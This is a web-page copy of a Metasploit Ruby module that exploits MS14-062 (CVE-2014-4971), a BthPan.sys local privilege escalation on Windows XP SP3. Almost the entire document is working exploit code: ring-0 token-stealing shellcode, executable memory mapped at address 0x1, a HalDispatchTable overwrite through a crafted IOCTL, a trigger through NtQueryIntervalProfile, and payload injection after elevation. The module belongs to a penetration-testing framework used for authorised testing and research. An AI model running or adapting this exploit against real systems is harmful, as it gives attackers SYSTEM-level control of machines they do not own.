Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/bthpan.rb
19850 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = AverageRanking
8
9
include Msf::Exploit::Local::WindowsKernel
10
include Msf::Post::File
11
include Msf::Post::Windows::FileInfo
12
include Msf::Post::Windows::Priv
13
include Msf::Post::Windows::Process
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'MS14-062 Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation',
20
'Description' => %q{
21
A vulnerability within Microsoft Bluetooth Personal Area Networking module,
22
BthPan.sys, can allow an attacker to inject memory controlled by the attacker
23
into an arbitrary location. This can be used by an attacker to overwrite
24
HalDispatchTable+0x4 and execute arbitrary code by subsequently calling
25
NtQueryIntervalProfile.
26
},
27
'License' => MSF_LICENSE,
28
'Author' => [
29
'Matt Bergin <level[at]korelogic.com>', # Vulnerability discovery and PoC
30
'Jay Smith <jsmith[at]korelogic.com>' # MSF module
31
],
32
'Arch' => ARCH_X86,
33
'Platform' => 'win',
34
'SessionTypes' => [ 'meterpreter' ],
35
'DefaultOptions' => {
36
'EXITFUNC' => 'thread'
37
},
38
'Targets' => [
39
[
40
'Windows XP SP3',
41
{
42
'HaliQuerySystemInfo' => 0x16bba,
43
'_KPROCESS' => "\x44",
44
'_TOKEN' => "\xc8",
45
'_UPID' => "\x84",
46
'_APLINKS' => "\x88"
47
}
48
]
49
],
50
'References' => [
51
[ 'MSB', 'MS14-062' ],
52
[ 'CVE', '2014-4971' ],
53
[ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-002.txt' ],
54
[ 'OSVDB', '109387' ]
55
],
56
'DisclosureDate' => '2014-07-18',
57
'DefaultTarget' => 0,
58
'Compat' => {
59
'Meterpreter' => {
60
'Commands' => %w[
61
stdapi_railgun_api
62
stdapi_sys_process_attach
63
stdapi_sys_process_getpid
64
stdapi_sys_process_memory_write
65
]
66
}
67
},
68
'Notes' => {
69
'Reliability' => UNKNOWN_RELIABILITY,
70
'Stability' => UNKNOWN_STABILITY,
71
'SideEffects' => UNKNOWN_SIDE_EFFECTS
72
}
73
)
74
)
75
end
76
77
def ring0_shellcode
78
tokenswap = "\x60\x64\xA1\x24\x01\x00\x00"
79
tokenswap << "\x8B\x40\x44\x50\xBB\x04"
80
tokenswap << "\x00\x00\x00\x8B\x80\x88"
81
tokenswap << "\x00\x00\x00\x2D\x88"
82
tokenswap << "\x00\x00\x00\x39\x98\x84"
83
tokenswap << "\x00\x00\x00\x75\xED\x8B\xB8\xC8"
84
tokenswap << "\x00\x00\x00\x83\xE7\xF8\x58\xBB"
85
tokenswap << [session.sys.process.getpid].pack('V')
86
tokenswap << "\x8B\x80\x88\x00\x00\x00"
87
tokenswap << "\x2D\x88\x00\x00\x00"
88
tokenswap << "\x39\x98\x84\x00\x00\x00"
89
tokenswap << "\x75\xED\x89\xB8\xC8"
90
tokenswap << "\x00\x00\x00\x61\xC3"
91
end
92
93
def fill_memory(proc, address, length, content)
94
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE')
95
96
unless proc.memory.writable?(address)
97
vprint_error('Failed to allocate memory')
98
return nil
99
end
100
vprint_good("#{address} is now writable")
101
102
result = proc.memory.write(address, content)
103
104
if result.nil?
105
vprint_error('Failed to write contents to memory')
106
return nil
107
end
108
vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
109
110
return address
111
end
112
113
def disclose_addresses(t)
114
addresses = {}
115
116
hal_dispatch_table = find_haldispatchtable
117
return nil if hal_dispatch_table.nil?
118
119
addresses['halDispatchTable'] = hal_dispatch_table
120
vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}")
121
122
vprint_status('Getting the hal.dll base address...')
123
hal_info = find_sys_base('hal.dll')
124
if hal_info.nil?
125
vprint_error('Failed to disclose hal.dll base address')
126
return nil
127
end
128
hal_base = hal_info[0]
129
vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16)}")
130
131
hali_query_system_information = hal_base + t['HaliQuerySystemInfo']
132
addresses['HaliQuerySystemInfo'] = hali_query_system_information
133
134
vprint_good("HaliQuerySystemInfo address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}")
135
addresses
136
end
137
138
def check
139
# covers both native x64 and WOW64
140
if sysinfo['Architecture'] == ARCH_X64
141
return Exploit::CheckCode::Safe
142
end
143
144
version = get_version_info
145
return Exploit::CheckCode::Safe unless version.build_number == Msf::WindowsVersion::XP_SP3
146
147
handle = open_device('\\\\.\\bthpan', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
148
return Exploit::CheckCode::Safe unless handle
149
150
session.railgun.kernel32.CloseHandle(handle)
151
152
return Exploit::CheckCode::Detected
153
end
154
155
def exploit
156
if is_system?
157
fail_with(Failure::None, 'Session is already elevated')
158
end
159
160
if check == Exploit::CheckCode::Safe
161
fail_with(Failure::NotVulnerable, 'Exploit not available on this system')
162
end
163
164
handle = open_device('\\\\.\\bthpan', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
165
if handle.nil?
166
fail_with(Failure::NoTarget, 'Unable to open \\\\.\\bthpan device')
167
end
168
169
my_target = targets[0]
170
print_status('Disclosing the HalDispatchTable address...')
171
@addresses = disclose_addresses(my_target)
172
if @addresses.nil?
173
session.railgun.kernel32.CloseHandle(handle)
174
fail_with(Failure::Unknown, 'Failed to disclose necessary address for exploitation. Aborting.')
175
else
176
print_good('Address successfully disclosed.')
177
end
178
179
print_status('Storing the shellcode in memory...')
180
this_proc = session.sys.process.open
181
kernel_shell = ring0_shellcode
182
kernel_shell_address = 0x1
183
184
buf = "\x90" * 0x6000
185
buf[0, 1028] = "\x50\x00\x00\x00" + "\x90" * 0x400
186
buf[0x5000, kernel_shell.length] = kernel_shell
187
188
result = fill_memory(this_proc, kernel_shell_address, buf.length, buf)
189
if result.nil?
190
session.railgun.kernel32.CloseHandle(handle)
191
fail_with(Failure::Unknown, 'Error while storing the kernel stager shellcode on memory')
192
end
193
print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
194
195
print_status('Triggering the vulnerability, corrupting the HalDispatchTable...')
196
session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x0012d814, 0x1, 0x258, @addresses['halDispatchTable'] + 0x4, 0)
197
session.railgun.kernel32.CloseHandle(handle)
198
199
print_status('Executing the Kernel Stager throw NtQueryIntervalProfile()...')
200
session.railgun.ntdll.NtQueryIntervalProfile(2, 4)
201
202
print_status('Checking privileges after exploitation...')
203
204
unless is_system?
205
fail_with(Failure::Unknown, "The privilege escalation wasn't successful")
206
end
207
print_good('Privilege escalation successful!')
208
209
p = payload.encoded
210
print_status("Injecting #{p.length} bytes to memory and executing it...")
211
unless execute_shellcode(p)
212
fail_with(Failure::Unknown, 'Error while executing the payload')
213
end
214
end
215
end
216
217